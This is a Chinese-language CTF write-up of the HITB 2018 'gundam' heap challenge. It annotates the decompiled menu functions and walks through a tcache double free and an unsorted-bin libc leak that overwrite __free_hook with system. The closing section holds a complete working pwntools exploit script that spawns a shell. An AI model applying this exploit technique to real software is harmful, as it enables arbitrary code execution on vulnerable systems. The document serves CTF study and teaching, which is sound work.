0
点赞
收藏
分享

微信扫一扫

Pwn-2018_HITB_CTF-gundam

_鱼与渔_ 2022-01-05 阅读 71

文章目录

2018_HITB_CTF-gundam

0x01. FILE Analysis

  • Checksec
echo@ubuntu:~/Pwn/gundam/HITB-2018-gundam$ checksec gundam
[*] '/home/echo/Pwn/gundam/HITB-2018-gundam/gundam'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

  • 执行文件
echo@ubuntu:~/Pwn/gundam/HITB-2018-gundam$ ./gundam

1 . Build a gundam 
2 . Visit gundams 
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

0x02. Static Analysis

  • sub_B7D:input 1,Build a gundam
__int64 sub_B7D()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  if ( (unsigned int)dword_20208C <= 8 )//dword_20208C 保存了一个记录gundam的无符号整数(0 - 8)
  {
    s = malloc(0x28uLL); //各个s在堆上的结构见下图 
    memset(s, 0, 0x28uLL);
    buf = malloc(0x100uLL);//name  可用空间0x100字节
    if ( !buf )
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of gundam :");
    read(0, buf, 0x100uLL);//向name读入了0x100字节,如果全部0x100字节都用上,会导致name没有被'\x00'截断,可能产生信息泄露
    *((_QWORD *)s + 1) = buf;
    printf("The type of the gundam :");
    __isoc99_scanf("%d", &v1);
    if ( v1 < 0 || v1 > 2 )
    {
      puts("Invalid.");
      exit(0);
    }
    strcpy((char *)s + 16, &aFreedom[20 * v1]);
    *(_DWORD *)s = 1;
    for ( i = 0; i <= 8; ++i )                  // record the chunk ptr on bss
    {
      if ( !qword_2020A0[i] )
      {
        qword_2020A0[i] = s;
        break;
      }
    }
    ++dword_20208C;
  }
  return 0LL;
}
  • 每次build后会在堆上产生两个chunk,大小分别为0x28和0x100。堆空间如下图所示:
   +---------------------+
| pre_size | 0x31 | malloc(0x28) next_chunk的pre_size会复用
+---------------------+ <------ s[0]
| 1 | name_ptr |
+---------------------+
| Type | ? |
+---------------------+
| ? | ? |
+---------------------+
| pre_size | 0x111 |
+---------------------+ <------ name
| ? | ? |
+---------------------+
| ? | ? |
+---------------------+
| ? | ? |
+---------------------+
| ? | ****** | <------ s[1]
type struct{
    int inuse;
    char * name_ptr;
    char * type;
}
  • qword_2020A0:Bss段上会记录各个s的指针

  • sub_EF4:input 2,Visit gundams
__int64 visit()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]

  if ( cnt_dword_20208C )
  {
    for ( i = 0; i <= 8; ++i )
    {
      if ( qword_2020A0[i] && *(_DWORD *)qword_2020A0[i] ) //BSS段上内容不为空且指针指向的堆空间的标志位不为0,就打印
      {
        printf("\nGundam[%u] :%s", i, *(const char **)(qword_2020A0[i] + 8LL));//打印name
        printf("Type[%u] :%s\n", i, (const char *)(qword_2020A0[i] + 16LL));//打印Type
      }
    }
  }
  else
  {
    puts("No gundam produced!");
  }
  return 0LL;
}
  • sub_D32:input 3,Destory a gundam
__int64 destory()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( cnt_dword_20208C )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 8 || !qword_2020A0[v1] )//没有检查堆上标志位,仅仅检查了s指针是否为空
    {
      puts("Invalid choice");
      return 0LL;
    }
    *(_DWORD *)qword_2020A0[v1] = 0;//将bss段上的s指针所指向的堆空间中的标志位置零,
    free(*(void **)(qword_2020A0[v1] + 8LL));//释放掉s指针指向堆空间,偏移8字节处,的name指针指向的空间。但是name指针没置零
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

  • sub_E22:input 4,Blow up the factory
unsigned __int64 blow_up()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 8; ++i )
  {
    if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )//bss段上s指针不为空,但是指向空间的标志位为0
    {
      free((void *)qword_2020A0[i]);//释放掉s指向的堆空间
      qword_2020A0[i] = 0LL;//s指针置零
      --cnt_dword_20208C;//cnt--
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

  • input 5,Exit!

0x03. Dynamic Analysis & Exploit

  • 更改libc版本到2.26
patchelf --replace-needed libc.so.6 /home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so gundam
patchelf --set-interpreter /home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so gundam
  • 首先可以执行一下,验证一下double_free漏洞的存在

image-20220104220329781

​ 可以看到,执行两次destory操作后,并没有产生错误,这里是glibc-2.26对tcache的double_free没做检测导致的,后面也会针对这一点进行利用。


  • 第一步:泄露地址,
    • 思路是借助unsorted_bin头指向main_arena + 88处,
    • 首先把一个chunk放进unsorted_bin中
    • unsorted_bin中,采取双链表的数据结构进行管理,当bin中只有一个chunk时,其fd、bk均指向链表头节点,也就是main_arena + 88
    • 重新把unsorted_bin中的块分配出来,由于采用的是malloc函数(并非calloc)申请空间,chunk中仍然会保留之前记录的main_arena信息
    • 借助printf,泄露地址
    • 过程中要注意存在tcache,所以要先将tcache填满
for i in range(9):
	build(b'a' * 8)
for i in range(8):#填满tcache,最后一个放到了unsorted_bin中
	destory(i)

image-20220104235549437

blowup()#清除一下bss段上的指针,为后续build做准备
for i in range(8):#会先使用tcache中的chunk,所以要进行8次build
	build(b'a' * 8)
visit()#打印
p.recv(0x148)
addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success('main_arena + 88: ' + hex(addr))

image-20220105001241580

image-20220105011036593


  • 覆写free_hook

    • 这里想通过将free_hook改为system来进行getshell
    • 通过由于free的时候会传递chunk的指针作为参数也就是:free(ptr)
    • 如果我们可以提前将ptr指向的空间改为/bin/sh
    • free(ptr),就变成了system(ptr),即system(’/bin/sh’)
  • 这里借助了double_free的操作

    • 通过double_free,在tcache中伪造了一个自己指向自己的chunk
destory(2)
destory(1)
destory(0)
destory(0)#double free

image-20220105002645888

image-20220105005111219

blowup()
build(p64(free_hook))
build(b'/bin/sh\x00')
build(p64(sys_addr))
#pause()
destory(0)
p.interactive()

image-20220105005511175

image-20220105005612145

image-20220105005703678

0x04. EXP

from pwn import *
def build(name):
	p.sendafter("Your choice : ", '1')
	p.sendafter("The name of gundam :", name)
	p.sendlineafter("The type of the gundam :", '1')

def visit():
	p.sendafter("Your choice : ", '2')
def destory(idx):
	p.sendafter("Your choice : ", '3')
	p.sendlineafter("Which gundam do you want to Destory:", str(idx))
def exit():
	p.sendafter("Your choice : ", '5')
def blowup():
	p.sendafter("Your choice : ", '4')

p = process('./gundam')

elf = ELF('./gundam')
libc = ELF('/home/echo/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level = 'debug'
gdb.attach(p)
for i in range(9):
	build(b'a' * 8)
for i in range(8):
	destory(i)
blowup()
visit()
for i in range(8):
	build(b'a' * 8)
visit()
p.recv(0x148)
addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success('main_arena + 88: ' + hex(addr))

offset = 0x3dac78 
libc_base = addr - offset 
sys_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
#pause()
log.success('free_hook: ' + hex(free_hook))

destory(2)
destory(1)
destory(0)
destory(0)
blowup()
build(p64(free_hook))
build(b'/bin/sh\x00')
build(p64(sys_addr))
#pause()
destory(0)
p.interactive()
#pause()

0x05. Summary

  • 通过prinf的参数没有进行截断来泄露地址

  • 通过unsorted_bin来泄露main_arena

  • tcache简单入门

  • 简单的double_free

举报

相关推荐

0 条评论